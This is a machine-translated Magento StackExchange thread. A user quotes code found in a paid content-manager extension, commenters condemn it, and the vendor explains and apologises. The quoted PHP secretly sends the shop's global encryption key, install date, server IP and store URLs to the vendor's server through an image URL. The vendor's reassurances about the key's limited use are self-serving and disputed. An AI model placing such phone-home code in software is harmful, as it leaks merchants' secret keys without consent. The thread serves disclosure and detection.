是否有充分的理由可以使模块远程访问全局/加密/密钥?


19

原谅我的无知,但是使用加密密钥解密Magento数据,对吗?模块有什么充分的理由来访问它吗?安装高级内容管理器后,我偶然发现了这段代码。

<div id="banana-tracker">
<?php
    $stores = Mage::app()->getStores();
    $key = (string)Mage::getConfig()->getNode('global/crypt/key');
    $date = (string)Mage::getConfig()->getNode('global/install/date');
    $serverIp = $_SERVER['SERVER_ADDR'];

    $params = 'key='.$key.'&date='.$date.'&';

    foreach($stores as $store)
    {
        $params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
    }
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />


3
这个。是。可怕。没有理由泄漏您的加密密钥。
Fabian Blechschmidt 2015年

1
这很糟糕,非常糟糕。
AnnaVölkl'3

1
好赶上!这非常糟糕……
桑德·曼格尔

1
感谢@Sander告诉我们。它已从Connect中删除。
2015年

1
@benmarks很高兴听到这个消息。出于显而易见的原因,这也令人非常失望,因为该应用程序给人留下了深刻的印象,而开发人员在过去一直非常乐于助人和迅速。
TylersSN 2015年

Answers:


11

是的……有充分的理由。
他们想知道并记录下来,以防万一。:)

您应该卸载扩展程序(很可能您已经这样做了)。无论他们向家发送了什么数据,您都不应使用“电话回国”的扩展名。

您可能要在此处列出扩展,以供其他人查看:Magento扩展中的有趣/无用/可怕的代码


1
不幸的是,“打电话回家”是由许多模块完成的。Amasty和Aheadworks也会这样做:\
桑德·

4
gist.github.com/miguelbalparda/b57a47a010a5995bc44d可用于从CLI中在所有优于app / code / core的文件夹中检查global / crypt / key。
mbalparda 2015年

因此,他们不仅能够解密cc数据(好东西,我不保存它)密码等。而且,我花了300美元让他们拥有这种能力。那是应该张贴到滑稽的。
TylersSN 2015年

1
@iUseMagentoNow。这是有趣的“哦”,而不是有趣的“哈哈”。您应该要求退款。
马里斯(Marius)

8

我们今天收到了有关此功能的支持请求。我们已经解决了它,并删除了这段代码。我们的客户区域中的所有客户均可使用一个新版本(免费,因为我们提供无限的更新)。

我知道我们需要证明这一点,所以让我们这样做:

  • 该跟踪器的目标是仅遵循未授权使用我们的扩展程序。
  • 跟踪器仅显示在管理区域中(您的客户中没有一个或您和我们以外的其他任何人都无法看到它)。
  • 我们也在数据库中删除了它。
  • 密钥仅用于加密您的管理员密码。由于我们过去经常通过支持请求与大家一起工作,因此您可能已经通过电子邮件将您的凭据发送给我们,以寻求支持。如果我们想要您的密码,我们将直接发送给您...这不是目标。
  • 即使使用了密钥,您的密码仍然是加密的。magento管理员会在某些尝试后阻止用户。

我们认识到这是一个错误,这是社区和开源系统的优势:我们可以更快地修复和改进。谢谢大家提醒我们,我们将在漏洞方面做出更多努力。


3
+1致力在Magento SE上公开回应!
7ochem'3

2
未经授权使用扩展程序?!您可以简单地使用域。
mbalparda'3
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.